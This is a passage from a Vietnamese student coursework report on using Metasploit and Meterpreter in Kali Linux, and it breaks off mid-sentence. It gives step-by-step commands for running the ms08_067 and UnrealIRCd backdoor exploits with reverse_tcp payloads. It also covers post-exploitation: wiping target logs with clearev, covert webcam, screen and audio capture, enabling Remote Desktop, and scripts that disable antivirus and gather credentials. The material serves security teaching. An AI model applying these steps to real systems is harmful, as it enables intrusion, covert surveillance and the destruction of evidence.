SlideShare a Scribd company logo
1 of 45
BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT MÃ
BÁO CÁO BÀI TẬP LỚN
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX
Học phần : An Toàn Hệ Điều Hành
Giảng viên hướng dẫn : Đồng Thị Thuỳ Linh
Sinh viên thực hiện : Lưu Thái Tuấn – AT14E
Phạm Thị Mừng – AT14I
Hà Cảnh Dương – AT13I
Nguyễn Mạnh Cường – AT13H
Vũ Việt Anh – AT14C
Hà Nội, 2020
Nhận xét của giảng viên:
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
Chữ ký của giảng viên
MỤC LỤC
MỤC LỤC.........................................................................................................3
LỜI MỞ ĐẦU...................................................................................................5
I. TỔNG QUAN VỀ HDH KALI LINUX.....................................................5
1.1. Nguồn gốc ra đời Kali Linux ................................................................6
1.2. Kali Linux có gì?..................................................................................6
1.3. Ưu điểm của Kali Linux .......................................................................7
II. METASPLOIT TRONG KALI LINUX....................................................7
2.1. Metasploit là gì?...................................................................................7
2.2. Sử dụng Metasploit ..............................................................................8
2.2.1. Picking an Exploit:.....................................................................10
2.2.2. Setting Exploit Options:.............................................................12
2.2.3. Picking a Payload:......................................................................17
2.2.4. Setting Payload Options:............................................................19
2.2.5. Running the Exploit: ..................................................................20
2.2.6. Connecting to a Remote Session:................................................22
III. METERPRETER SHELL .....................................................................23
3.1. Các câu lệnh cơ bản............................................................................23
3.1.1. Core Commands.........................................................................25
3.1.2. File System Commands ..............................................................26
3.1.3. Network Commands...................................................................29
3.1.4. System Commands.....................................................................29
3.2. Tổng kết ............................................................................................43
TÀI LIỆU THAM KHẢO...............................................................................45
LỜI MỞ ĐẦU
Linux hay nhân Linux là một HĐH mã nguồn mở được giới thiệu lần đầu tiên vào
năm 1991 với giấy phép công cộng GNU. Khác với HĐH Windows của Microsoft
hay HĐH OSX củahãng Apple, Linux là một nhân HĐH mã nguồn mở và được chia
sẻ hoàn toàn miễn phí. Từđây các bản phân phối(distro) của HĐH Linux được phát
triển và dần hoàn thiện, phát triển thành một HĐH hoàn chỉnhkhi đưa đến tay người
dùng. Trong số các bản được phát triển và phân phốiđó, có Kali Linux là một distro
được tối ưu hóa cho công việc hacking và được tíchhợp sẵn các côngcụ để kiểm tra
– khai thác các lỗ hổng về bảo mật.
Kali Linux về cơ bản là một bản phân phối của Debian Linux, nó tích hợp sẵn các
công cụ bảo mật cực kì mạnh mẽ, cùng với các công cụ được sắp xếp theo từng
chuyên mục giúp nâng cao khả năng hoạt động hiệu quả.
Kali Linux là một HĐH rất hữu ích đối với những chuyên gia đánh giá bảo mật, là
một HĐH tập hợp và phân loại gần như tất cả các công cụ thiết yếu nhất mà bất kỳ
một chuyên gia bảo mật nào cũng cần dùng đến khi tác nghiệp.
Thật khó để ngày nay tìm được một người nào học về an toàn thông tin mà không
biết về hệ điều hành Kali Linux.
I. TỔNG QUAN VỀ HDH KALI LINUX
1.1. Nguồn gốc ra đời Kali Linux
Backtrack bắt đầu xuất hiện vào năm 2006 và trong nhiều năm qua nó đã không
ngừng cải tiến và phát triển để đạt được một vị trí nhất định trong cộng đồng hacker
và những người làm bảo mật trên khắp thế giới.
Tháng 3 năm 2013, Offensive Security đã công bố phiên bản tiến hóa của hệ điều
hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali là
tên nữ thần của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là
tên một môn võ thuật của người Philippine … Có thể nói, Kali Linux là 1 bản nâng
cấp toàn diện của Backtrack.
Phiên bản Kali Linux 1.x có tên là Kali Moto, bản 2.0 gọi là Kali Sana. Từ Sau năm
2016, Kali Linux đã không cònđặt tên như thế nữa, mà thay vào đó nó được đặt tên
dựa vào năm phát hành và số cập nhật trong năm, gọi chung là Rolling replease.
Phiên bản mới nhất là Kali Linux 2020.2.
1.2. Kali Linux có gì?
 Nó có rất nhiều công cụ kiểm thử bảo mật (trên 600 công cụ hacking,
pentest...)
 Nó có những công cụ thu nhập thông tin mạng như Nmap và Wireshark.
 Kali cũng có các côngcụtập trung tấn côngkhai thác vào WiFi như Aircrack-
ng, Kismet và Pixie.
 Đối với các nhu cầu kiểm thử tấn công khai thác mật khẩu, có những công cụ
như Hydra, Crunch, Hashcat và John the Ripper.
Sau đó, còn có các bộ framework tập hợp các quy trình và tính năng nâng cao như:
Metasploit, Burp Suite, ZenMap… Đó chỉ là một phần nhỏ các công cụ bảo mật có
sẵn theo mặc định với Kali Linux. Chúng ta sẽ cần thời gian để làm quen hết với
chúng.
1.3. Ưu điểm của Kali Linux
 Do phát triển trên hệ điều hành Debian, nên Kali có thể sử dụng các repository
của Debian hỗ trợ việc cài đặt được nhiều phần mềm và cập nhật phần mềm
nhanh chóng.
 Kali Linux liên tục cải tiến khả năng tương thích với thiết bị phần cứng của
rất nhiều loại như điện thoại, raspberry, laptop, server, cloud… đảm bảo có
thể cài đặt trên bất kì thiết bị nào.
 Hỗ trợ mạng wifi (không dây) cực kì tốt với Kali Linux, điều này giúp các
chuyên gia bảo mật có thể thực hiện tấn công và kiểm thử khả năng bảo mật
của Wifi.
 Tài liệu hướng dẫn sử dụng Kali Linux cũng rất vô cùng phong phú, chúng ta
chỉ cần Google là ra liền. (đa phần là tiếng Anh)
II. METASPLOIT TRONG KALI LINUX
Trong bài này, chúng ta sẽ cùng tìm hiểu về Metasploit.
2.1. Metasploit là gì?
Metasploit là 1 nền tảng framework toàn diện cho việc thử nghiệm, khai thác các
lỗ hổng bảo mật. Nó chứa hơn ngàn lỗ hổng khai thác, hàng nghìn payload và
nhiều bộ mã hoá.
(payload: một đoạn codecủamalware dùng để thực hiện hành vi độc hại nào đấy
trên máy của nạn nhân)
2.2. Sử dụng Metasploit
- Cách khởi động Metasploit trong Kali Linux:
/Kali Linux/Top Ten Security Tools/Metasploit framework
/Kali Linux/Exploitation Tools/Metasploit
Hoặc chỉ cần vào Terminal gõ msfconsole.
Một khi mà vào được Metasploit bạn sẽ thấy được màn hình chính (như trên) và
được đưa ra một câu nhắc lệnh: msf>
Sẽ hơi rắc rối xíu nếu như trước đó bạn chưa từng dùng Metasploit, nhưng một khi
mà bạn đã quen với cách nó làm việc, bạn có thể làm vài việc thú vị với nó.
Về cở bản, dùng Metasploit để tấn công một mục tiêu hệ thống thường bao gồm:
1. Picking an exploit (tức là lựa chọn khai thác lỗ hổng)
2. Setting Exploit Options (thiết lập cài đặt khai thác)
3. Picking a payload (hiểu là lựa chọn mã độc)
4. Setting payload options (thiết lập cho mã độc)
5. Running the exploit (Bước này có thể là khởi chạy khai thác)
6. Connecting to the Remote System (kết nối tới một hệ thống từ xa, có thể là 1 máy
tính)
7. Performing Post Exploitation Processes (thực hiện các quy trình khai thác)
Đoạn ảnh chụp màn hình dưới đây là một ví dụ của quá trình này, nhưng không sao,
chúng tôi sẽ chỉ rõ chi tiết các quá trình dưới đây.
Tuỳ vào loại lỗ hổng bảo mật, một khi mà quá trình khai thác đã hoàn thành chúng
ta thường sẽ nhận được kết quả: 1 Remote Shell hoặc 1 Meterpreter Shell.
- Remote Shell: chương trình dòng lệnh trên Linux, có thể dùng để thực thi các
lệnh trên hệ thống từ xa.
- Meterpreter Shell: chứa nhiều chương trình và công cụ mà chúng ta có thể
chạy để thu thập thông tin từ máy mục tiêu, điều khiển các thiết bị như
webcam và microphone, hay thậm chí là dùng thế mạnh này để chiếm được
sâu hơn vào hệ thống mạng.
Và trong các trường hợp thì Meterpreter Shell sẽ có lợi hơn. (Chúng ta sẽ nói về
Meterpreter Shell sau.) Ta sẽ nói về 5 bước đầu tiên:
2.2.1. Picking an Exploit:
Để xem tất cả các lỗ hổng bảo mật, chỉ cần gõ: show exploits từ dấu nhắc lệnh msf:
Metasploit cho phép bạn tìm kiếm các lỗ hổng theo nhiều cách, bằng nền tảng, hoặc
kể cả là CVE (Common Vulnerabilities and Exposures) và bugtrack numbers.
CVE: hiểu như là 1 cơ sở dữ liệu về lỗ hổng bảo mật, dùng để đối chiếu thông tin
giữa các công cụ và dịch vụ bảo mật khác nhau.
Gõ help search để xem các tuỳ chọn trợ giúp:
Để tìm theo tên thì chỉ cần nhập tên và tìm. Ví dụ như Metasploit có lỗ hổng MS13-
069:
Để xem một số CVE ID cụ thể:
Để xem thông tin khai thác cho một chương trình cụ thể chỉ cần nhập tên của nó:
msf> search unreal
Khi mà bạn thấy một lỗ hổng mà bạn muốn biết thêm thông tin, chỉ cần chép và dán
vào đủ tên đường dẫn và dùng lệnh info:
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
Điều này sẽ hiện đủ thông tin về lỗ hổng bạn đang cần:
Màn hình thông tin này hiển thị tên tác giả, tổng quan ngắn gọn (not shown) cùng
với các tuỳ chọncó thể đặt, mộtmô tả, các trang web bảo mật để tham chiếu (shown).
Như ở hình trên, chúng tôi đặt một số tuỳ chọn cho việc khai thác, dẫn chúng tôi vào
phần tiếp theo.
Tuy nhiên trước khi thiết đặt các tuỳ chọn cho khai thác, chúng ta cần “sửdụng” nó.
Khi mà chúng ta đã có lỗ hổng khai thác chúng ta cần, chúng ta cần chạy lệnh “use”
cùng với tên lỗ hổng khai thác. Lại chép và dán lại đường dẫn lỗ hổng và công việc
sẽ được thực hiện:
Bây giờ chúng ta đang khai thác lỗ hổng rồi, cơ mà sao để có thể thiết lập tuỳ chọn
nhỉ?
2.2.2. Setting Exploit Options:
Thiết lập tuỳ chọn trong Metasploit rất đơn giản, chỉ cần dùng lệnh set và rồi tên
biến và giá trị:
set <Variable Name> <Value>
LHOST Local Host, hay hiểu là IP của máy Kali chúng ta đang cài
RHOST Remote Host, hiểu là IP của máy mục tiêu (máy của nạn nhân)
LPORT Port chúng ta dùng ở máy Kali
RPORT Port chúng ta tấn công máy nạn nhân
Để xem biến nào có thể đặt, dùng lệnh show options:
Lỗ hổng này chỉ dùng 2 biến chính, RHOST và RPORT. RHOST là máy từ xa mà
chúng ta tấn công và RPORT là số cổng từ xa.
Chúng ta sẽ đặt giá trị cho RHOST bằng cách dùng lệnh set. Giả sử như nếu IP máy
tấn công là 192.168.0.20 thì chúng ta dùng lệnh như sau:
Nếu chúng ta chạy lệnh show options thêm lần nữa thì ta sẽ thấy giá trị của biến đã
được đặt:
Đó là tất cả những gì bạn cần để đặt cho quá trình khai thác. Giờ bạn có thể dùng
lệnh “exploit” để thực thi nó.
Multiple Target Types (nhiều loại mục tiêu)
Hệ thống cửa hậu Ureal khá dễ sử dụng. Vài biến của sự khai thác này bạn cần phải
cài đặt, nó còn có các tùy biến khác để bạn tùy chỉnh thêm
Khi bạn dùng Metasploit, bạn sẽ thấy một số có nhiều loại mục tiêu có thể tấn công,
và đường dẫn chính xác cần được đặt để quá trình khai thác hoạt động chính xác. Để
xem các mục tiêu, gõ “show targets”.
Ở quá trình khai thác trên, mục tiêu là tự động, nên là chúng ta không cần đặt nó.
Nhưng ở những cái khác, chúng có nhiều mục tiêu và chúng ta cần chọn mục tiêu
chính xác.
Getting a remote shell on a Windows XP Machine (Nhận 1 remote
shell ở máy Windows XP)
Chúng ta đã xem qua một trong những cách khai thác Linux, và giờ sẽ là khai thác
lỗ hổng ms08-067, một trong các cách khai thác Windows phổ biến.
1. Để bắt đầu, hãy dùng khai thác sau:
msf > use exploit/windows/smb/ms08_067_netapi
2. Giờ hãy nhập: “show options”
Để ý là phần target (mục tiêu) thường mặc định sẽ đặt là “Automatic Targeting” (tự
động ngắm mục tiêu). Tôiđã có các kết quả khác nhau khi dùng tự động ngắm mục
tiêu và đôi khi mọi thứ hoạt động tốt hơn nếu bạn tự đặt mục tiêu chính xác.
3. Nếu chúng ta muốn đặt mục tiêu cụ thể, “show targets”
4. Sau đó hãy nhập: “set target<ID#>” để thiết đặt mục tiêu thực tế.
5. Và gõ “showoptions” lại để cho thấy rằng bạn đãthực sự hoàn thành việc đặt
mục tiêu.
Cuối cùng, dù là nó không được dùng trong việc khai thác lỗ hổng thông thường,
nhưng chúng ta có thể đặt tuỳ chọn nâng cao nếu muốn.
Để xem các tuỳ chọn nâng cao, hãy gõ “show advanced”.
Giờ chúng ta đã thấy cách chọn 1 khai thác lỗ hổng và cách để thiết đặt nó. Trên
nhiều khai thác thì chúng ta cũng cần đặt payload. (payload là gì thì đọc lại ở trên
nhé)
2.2.3. Picking a Payload:
Sẽ thật buồncười nếu mà bạn chọnkhai thác lỗ hổng của 1 cỗ máy nhưng lại không
làm được gì? Các payloads (hiểu là các đoạn mã độc, dù thường payload nó nghĩa
là khối hàng) sẽ cho phép bạn làm việc với hệ thống đã bị chọn khai thác.
Metasploits có vô số payloads khác nhau bạn có thể dùng. Để thấy được chúng, hãy
gõ “show payloads”.
Hoặc bạn có thể gõ “set payload” và nhấn phím Tab 2 lần. Thao tác này sẽ nhắc
Metasploits hỏi bạn rằng nếu bạn muốn xem tất cả các payloads có sẵn.
Hầu hết các payloads đều được trình bày ở định dạng “Operating System/Shell
Type” như dưới đây:
 set payload/osx/x86/shell_reverse_tcp
 set payload/linux/x64/shell_reverse_tcp
 set payload/windows/shell_reverse_tcp
 set payload/windows/meterpreter/reverse_tcp
Đơn giản là bạn chỉ cần chọn chính xác OS (Hệ điều hành) cho mục tiêu của bạn và
chọn payload bạn muốn.
Các dạng của payloads thường là các shells (trình thông dịch dòng lệnh), có thể là 1
remote shell thông thường hoặc 1 Meterpreter shell.
Nếu bạn muốn trình thông dịch lệnh đầu cuối chạy các lệnh từ xa, hãy dùng trình
thông dịch lệnh thông thường. Cònnếu mà bạnmuốn khả năng thao tác với các phiên
và chạy các câu lệnh mở rộng thì bạn sẽ dùng đến Meterpreter shell.
Có nhiều cách khác nhau để các chương trình độc hại có thể liên lạc trở lại với bên
hệ thống tấn công. Tôi thường hay thích dùng reserve_tcp (tcp đảo ngược) shells
một khi chúng được thực thi trên máy mục tiêu, nó sẽ kết nối trở lại với hệ thống
Kali.
Ưu điểm lớn nhất của cách này là máy nạn nhân có thể khởi tạo được kết nối ra
ngoài, nó thường sẽ không bị chặn bởi tường lửa, như kết nối từ ngoài vào… @@
Khi chúng ta đã biết được payload chúng ta muốn dùng, ta dùng lệnh “set” để đặt:
6. Vậy là trong ví dụchúng ta hãy dùng Meterpreter Shell cho hệ thống Windows
và nó đã kết nối trở lại chúng ta thông qua TCP.
Bây giờ payload của chúng ta đã được đặt, giờ chúng ta chỉ cần đặt thiết
lập cho nó.
2.2.4. Setting Payload Options:
Thiết lập cho payload cũng giống như thiết lập cho khai thác lỗ hổng. Thường thiết
lập cho payload sẽ bao gồm cả địa chỉ IP và cổng (port) cho quá trình khai thác để
kết nối đến.
Công việc này cũng sẽ được thực thi bằng lệnh “set”.
7. Gõ “show options” để xem mà các cài đặt mà payload cần:
Như bạn có thể thấy trong hình, một đề mục mới có tiêu đề “Payload options” đã
xuất hiện khi chúng ta chạy lệnh. Chúng ta cũng có 3 tuỳ chọn mới mà chúng ta có
thể đặt, “EXITFUNC, LHOST, and LPORT”.
Chúng ta sẽ để cài đặt EXITFUNC và LPORT mặc định.
8. Nhưng chúng ta cần đặt địa chỉ LHOST hoặc địa chỉ local host. Đây là IP cho
máy Kali.
Khi mà thiết lập payload đã được đặt, chúng ta sẽ khởi chạy khai thác.
2.2.5. Running the Exploit:
Khi bắt đầu, bạn nên chạy lệnh “showoptions” lần cuối và kiểm tra kỹ xem mọi thứ
đã được đặt đúng chưa.
Như bạn nhận thấy ở trên, có vẻ như chúng ta đã quên địa chỉ IP của hệ thống mục
tiêu (đích) RHOST.
Chúng ta đã đặt RHOST cho ví dụ trước, nhưng khi dùng khai thác khác, chúng ta
không bao giờ đặt lại địa chỉ IP điều khiển từ xa của máy host. Điều này có thể xảy
ra khi bạn chạy nhiều khai thác hoặc tấn công, cho nên là bạn hãy kiểm tra kỹ cài
đặt của mình.
9. Đặt địa chỉ RHOST bằng cách gõ:
set RHOST 192.168.0.20
Kiểm tra kỹ mọi thứ lần cuối, mọi thứ có vẻ ổn hơn rồi:
Payload của chúng ta đã được chọn, và các thiết lập đã được đặt.
Giờ chúng ta sẽ khởi chạy khai thác.
10. Để làm vậy, đơn giản chỉ cần gõ lệnh “exploit”
Quá trình khai thác sau đó sẽ chạy và khi payload được thực thi thì sẽ thành công và
nếu như khai thác đang hoạt động, chúng ta sẽ nhận được 1 kết nối từ xa.
2.2.6. Connecting to a Remote Session:
Khi mà chúng ta tiến hành khai thác thành công chúng ta có thể sẽ thấy vài phiên
làm việc từ xa đã được khởi tạo. Để kiểm tra phiên vừa được tạo hãy nhập lệnh
“sessions”.
Bất cứ phiên làm việc nào được tạo ra sẽ được hiển thị cùng với địa chỉ IP, tên máy
tính, tên người dùng của máy mục tiêu.
Giờ chúng ta đã có thể kết nối tương tác tới phiên bằng câu lệnh “sessions -i<ID#>”
như được hiển thị ở mẫu trên.
Khi chúng ta kết nối tới phiên làm việc, câu nhắc lệnh sẽ đổi thành metepreter:
Chúng ta sẽ nói rõ hơn về Meterpreter Shell ở chương sau. Nhưng giờ, nếu chúng ta
nhập lệnh “shell” có thể thấy là chúng ta thực sự có 1 remote shell cho Windows.
Kết luận
Trong phần giới thiệu khá dài về Metasploit này chúng ta đã được học về cách thực
hiện một số chức năng tìm và sử dụng khai thác lỗ hổng cơ bản. Chúng ta cũng có
nói qua về việc dùng các payloads và thiết đặt một số chức năng cần thiết.
Metasploit có thể làm rất nhiều thứ, chúng ta chỉ nói về một số chức năng cơ bản.
Nếu mà bạn vẫn cảm thấy mông lung, không phải lo lắng quá! Chúng ta sẽ nói rõ
hơn về toàn bộ tiến trình khai thác Metepreter ở phần sau.
Tiếp theo đây chúng ta sẽ nói về Meterpreter Shell, một giao diện thao tác rất thú vị
và tuyệt vời mà chúng ta có thể dùng để thao tác trên hệ thống đã bị khai thác thành
công.
III. METERPRETER SHELL
Sau khi khai thác thành công, Meterpreter Shell cho phép bạn thực hiện nhiều chức
năng khác nhau cùng với 1 remote shell đầy đủ.
Khi mà bạn có kết nối từ xa thì Meterpreter sẽ rất phù hợp để điều khiển hệ thống,
tuỳ thuộc vào mục đíchcủa bạn là gì; Meterpreter Shell thì được ưa chuộng hơn là
một remote shell đầu cuối.
Meterpreter shell cung cấp cho chúng ta một tập các lệnh và tiện ích có thể chạy để
hỗ trợ rất nhiều trong việc kiểm tra bảo mật. Ví dụ như có các lệnh để lôi giá trị băm
của mật khẩu ra và thu thập dữ liệu, cài đặt hệ thống.
Ngoài ra Meterpreter còncó một số côngcụ thú vị, ví dụnhư bạn có thể bật webcam
lên và chụp ảnh, kích hoạt microphone và chụp ảnh màn hình desktop những gì
người dùng đang làm.
Trong phần này, chúng ta sẽ giới thiệu nhanh về Meterpreter và vài tính năng của
nó.
3.1. Các câu lệnh cơ bản
Hãy bắtđầu vớimột chiếc máy mà chúng ta đãlừa chạyđược chươngtrình backdoor.
Một khi mà chúng ta đã khởi chạy được chương trình backdoorđược kếtnối tới máy
Kali của chúng ta và một phiên làm việc đã được tạo. Sau đó chúng ta sẽ được tự
động đưa vào phiên làm việc như ở dưới:
Khi mà đã kết nối được tới phiên chúng ta có dấu nhắc lệnh Meterpreter:
Giờ hãy xem Meterpreter làm được gì, bắt đầu bằng việc dùng lệnh help để xem các
lựa chọn sẵn có.
Khi làm như vậy, chúng ta thấy các lệnh được chia thành các phần.
Các lệnh này là:
- Core Commands (các lệnh chính)
- File System Commands (các lệnh hệ thống tệp)
- Networking Commands (các lệnh về hệ thống mạng)
- System Commands (các lệnh về hệ thống)
- User Interface Commands (các lệnh về giao diện người dùng)
- Webcam Commands (các lệnh về webcam)
- Và 3 lệnh Priv
Chúng ta sẽ không nói về tất cả các lệnh, nhưng sẽ xem xét vài lệnh sâu hơn một
chút.
3.1.1. Core Commands
Là một người dùng căn bản, bạn có thể sẽ chỉ dùng tới background, help, load,
migrate, run và exit trong danh sách này.
o Background: Background cho phép bạn để phiên chạy nền sau đó thì có thể
quay trở lại dấu nhắc lệnh msf hoặc truy cập phiên khác.
Bạn có thể quay trở lại phiên của bạn bằng câu lệnh “session -i <session #>”.
o Load and run: Những lệnh này cho phép bạn dùng các mô-đun và lệnh bổ
sung trong Meterpreter.
o Exit: thoát khỏi Meterpreter.
3.1.2. File System Commands
Khi mà bạn có Meterpreter Shell, về cơ bản bạn đang xử lý 2 hệ thống tệp, cục bộ
và từ xa. Các lệnh về hệ thống tệp cho phép bạn tương tác với cả hai.
Về cơ bản, bạn có thể dùng các lệnh Linux tiêu chuẩn để di chuyển và sử dụng hệ
thống tệp. Nhưng làm thế nào để bạn phân biệt được giữa hệ thống tệp cục bộ và hệ
thống tệp từ xa mà bạn đang tương tác?
Tất cả các lệnh được giả định sử dụng trên hệ thống tệp từ xa. Ví dụ để xem được
danh sách thư mục của hệ thống từ xa, chỉ cần dùng lệnh “ls”.
Nếu như chúng ta đã tạo thư mục test ở hệ thống từ xa, chúng ta có thể điều hướng
đến nó và sau đó liệt kê nội dung của nó ra:
Khi mà bạn muốn di chuyển giữa các tệp hệ thống (Kali) cục bộ với nhau, có một số
lệnh mà bạn có thể dùng:
o Getlwd & lpwd: Hiển thị thư mục làm việc cục bộ (Local Working Directory)
o Lcd: Thay đổi thư mục cục bộ
Sau đó nếu như chúng ta muốn đổi thư mục làm việc cục bộ và thành thư mục
Desktop trên hệ thống Kali thì làm như sau:
Dowload cho phép bạn tải về các tệp từ hệ thống mục tiêu, Upload cho phép bạn gửi
tệp lên hệ thống từ xa.
Vậy nếu như chúng ta muốn upload 1 tệp, chỉ cần kết nối với thư mục cục bộ và từ
xa mà bạn định tải lên, khởi chạy câu lệnh upload cùng với tên tệp bạn muốn gửi đi,
như dưới đây:
Chúng ta đã kết nối tới máy Desktop trên hệ thống Kali nơi mà chúng ta có các tệp
công cụ. Sau đó chúng ta kết nối tới thư mục “test”, và chỉ cần dùng lệnh “upload”
để chuyển tệp.
Dowload cũng hoạt động như vậy, dùng lệnh dowload và tên tệp để lấy tệp từ hệ
thống từ xa và lưu vào hệ thống cục bộ:
Giờ hãy cùng nhìn qua các lệnh về hệ thống mạng (Networking Commands)
3.1.3. Network Commands
Những lệnh này cho phép bạn hiển thị và thao tác với một số tính năng mạng cơ bản.
o Arp: Hiển thị danh sách địa chỉ MAC từ xa tới địa chỉ IP thực
o Ifconfig & ipconfig: cả2 đều hiển thị bất kì giao diện mạng nào trên hệ thống
từ xa.
o Netstat: Hiển thị danh sách các kết nối được kích hoạt.
o Portfwd & route: cho phép bạn thực hiện một số cuộc tấn công định tuyến
nâng cao. Mặc dù chúng ta không đề cập đến trong cuốn sách này, bằng cách
dùng 2 câu lệnh này chúng ta có thể tận dụng những máy đã bị khai thác để
tấn công các máy khác trong hệ thống mạng.
3.1.4. System Commands
Dưới đây là danh sách các lệnh hệ thống. Chúng ta sẽ không nói đến tất cả chúng,
tuy nhiên có thể đọc sơ qua để làm quen với chúng:
CLEAREV: Lệnh nhỏ hữu ích này sẽ xoá toàn bộ nhật ký ở máy từ xa.
Chúng ta có thể xoá dấu vết của mình và nhật ký hệ thống trên máy mục tiêu. Hãy
nhìn vào nhật ký của hệ thống Windows 7 này, chúng ta thấy nó chứa đầy đủ các sự
kiện:
Một vài sự kiện có thể bao gồm cả những việc chúng ta đã làm. Vậy chúng ta có thể
xoá sạch nhật ký từ xa từ hệ thống Kali chỉ bằng cách gõ lệnh “clearev”:
Các nhật ký về ứng dụng, hệ thống và bảo mật đã được dọndẹp. Nếu chúng ta nhìn
vào nhật ký bảo mật một lần nữa thì nó chỉ hiện đúng 1 bản ghi, “Log Clear”:
Rõ ràng điều này sẽ cản trở bất cứ ai muốn phân tích nhật ký. Tuy nhiên nếu mà có
sự kiện bạn muốn bỏ, bạn có thể xoá sạch nhật ký.
Lệnh GETPID & PS: Khi bạn dùng Metepreter, hai trong số các lệnh mà bạn sẽ
dùng hơi thường xuyên là getpid và ps.
o Getpid: cho bạn biết trình thông dịch lệnh (shell) đang chạy trên ID tiến trình
nào.
o Ps: hiện danh sách tất cả các tiến trình đang chạy trên hệ thống từ xa.
Vậy nếu như ta gõ: “getpid” ta sẽ được:
Ta sẽ thấy ID tiến trình mà trình thông dịch lệnh đang dùng. Nếu ta gõ “ps” ta sẽ
thấy toàn bộ các tiến trình:
Nếu chúng ta đi sâu hơn xuống danh sách, tìm kiếm số pid 3824 sẽ được như sau:
3824 3796 powershell.exe x86 1 WIN-LOANLOTDQLUFred
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
Điều này nghĩa là ID tiến trình là 3824, nó cũng cho thấy chúng ta đang chạy tiến
trình powershell.exe với tư cách là người dùng “fred”.
Thông tin này sẽ rất hữu ích nếu như chúng ta muốn “dichuyển” tiến trình bậc thấp
này lên 1 tiến trình có quyền truy cập cao hơn. …. (đoạn sau hơi khó hiểu nên ko
dịch, chỉ là nó sẽ nói về lệnh “migrate” là để thay đổi cái process ID - PID)
Đơn giản chỉ cần tìm PID của tiến trình mà bạn muốn dùng (1736 trên hệ thống) và
gõ “migrate <PID#>”
Giờ chúng ta sẽ nói tiếp về chụp ảnh màn hình và webcam từ xa!
Webcam video:
Gõ lệnh “run webcam -h” để hiện ra menu trợ giúp:
Sau đó gõ “run webcam” kèm với bất cứ tuỳ chọn nào bạn muốn. Điều này sẽ hiển
thị webcam từ xa của hệ thống mục tiêu.
Nếu bạn dùng tuỳ chọn “l” nó sẽ liên tục chụp ảnh webcam cho tới khi bạn ấn Ctrl
+ C.
Phía bên máy mục tiêu sẽ liên tục có cảnh báo bởi đèn của webcam sáng lên. Ngoài
ra bạn cũng ko thể biết được ai đang điều khiển webcam của bạn.
Screenshots
Dùng lệnh “screenshot”chúng ta có thể chụp được bất cứ cái gì đang hiện trên màn
hình của máy mục tiêu.
Mở file ra và chúng ta sẽ thấy:
Sound Recording:
Ghi âm cũng tương tự vậy, chỉ cần gõ lệnh: “run sound_recorder -h” để xem các tuỳ
chọn, hoặc nếu như bạn muốn lấy nhanh 1 đoạn ghi âm 30s, chạy lệnh mà không
cần bất cứ tuỳ chọn nào:
Mở file lưu về hệ thống ra và nghe:
Running Scripts
Chủ đề cuối mà chúng ta nói trong phần này là chạy các Scripts (script: là 1 tệp mà
bên trong đó chứa các đoạn mã lệnh). Meterpreter có hơn 200 scripts mà bạn có thể
chạy để mở rộng hơn nữa bộ công cụ khai thác lỗ hổng của mình.
…
Để xem toàn bộ các scripts có sẵn, gõ “Run <tab><tab>”
Sau đó hãy nhập “run” cùng với tên script bạn muốn chạy.
CHECKVM: (sách dài dòng, tóm lại đây là lệnh để kiểm tra xem mục tiêu nó đang
chạy là máy thật hay máy ảo)
Như bạn thấy trong ảnh máy mục tiêu của chúng ta là 1 máy ảo VMware.
GETGUI: (đây là lệnh đểcho phép kíchhoạt và sửdụng chức năng Remote Desktop
trên Windows, sách lắm chỗ dài vcd Tuấn tóm lược lại nhé)
Đầu tiên hãy gõ “run getgui -e” để kích hoạt Remote Desktop:
Chạy lại chương trình và nhập username và password:
Giờ mở lại Terminal lên và chạy lệnh “rdesktop”có sẵntrong Kali Linux để kết nối:
-p có nghĩa là rdesktop báo bạn nhập mật khẩu. Nó an toàn hơn khi bạn không gửi
đoạn kí tự mật khẩu rõ ràng qua.
Sau khi đăng nhập được xong thì chúng ta sẽ thấy được màn hình Windows ở đây:
Có vài scripts khác như: try to turn off Antivirus (cố tắt chương trình diệt virus đi),
disable the target’s firewall (tắt tường lửa bên máy mục tiêu), lấy thông tin đăng
nhập từ nhiều chương trình như Firefox, các chương trình ftp… Bạn có thể bỏ thêm
thời gian và tham khảo.
Remote Shell
Cuối cùng thì hãy cùng xem cách để lấy được dấu nhắc lệnh C: (nó kiểu như cái
dấu nhắc lệnh ở trên Comman Promt trên Windows ý). Điều này sẽ rất dễ khi chúng
ta có 1 phiên làm việc Meterpreter. Chỉ cần chạy lệnh “shell”.
Vậy đó, và giờ chúng ta có thể chạy bất cứ câu lệnh DOS nào chúng ta muốn.
Playing with Modules - Recovering Deleted Files from Remote System
Ta sẽ nói về chút gì đó nâng cao hơn nhé. Giờ hãy coi cách dùng các modules
Meterpreter để khôi phục tập tin đã bị xoá ở ổ đĩa từ xa.
Script “recovery_files” cho phép khôi phục tệp tin mà người dùng mục tiêu đã xoá
đi khỏi hệ thống. Điều này rất hữu ích, vì tệp bị xoá có thể chứa những thông tin rất
quan trọng.
…
Ví dụ giờ ta sẽ tạo ra một tập tin “AccountPasswords.txt”và lưu bản sao của tập tin
“Discovery.pdf” vào ổ E: Sau đó ta xoá các tệp đi.
Using the module
Module yêu cầu bạn cần mở 1 phiên làm việc tới mục tiêu. Khi bạn đã có được phiên
làm việc từ xa thành công, gõ “background” để tạm thời thoát khỏi phiên, quay trở
lại dấu nhắc lệnh msf và dùng module:
Trong ảnh trên bạn có thể thấy có một số cài đặt cần được thiết lập.
Nếu mà chỉ muốn xem có những tệp nào, bạn chỉ cần thiết lập cài đặt “Drive” và
“Session” như trên.
Sau đó hãy chạy khai thác:
Quá trình khai thác đã được chạy và đã tìm thấy 4 tệp có thể khôi phục được, 2 cái
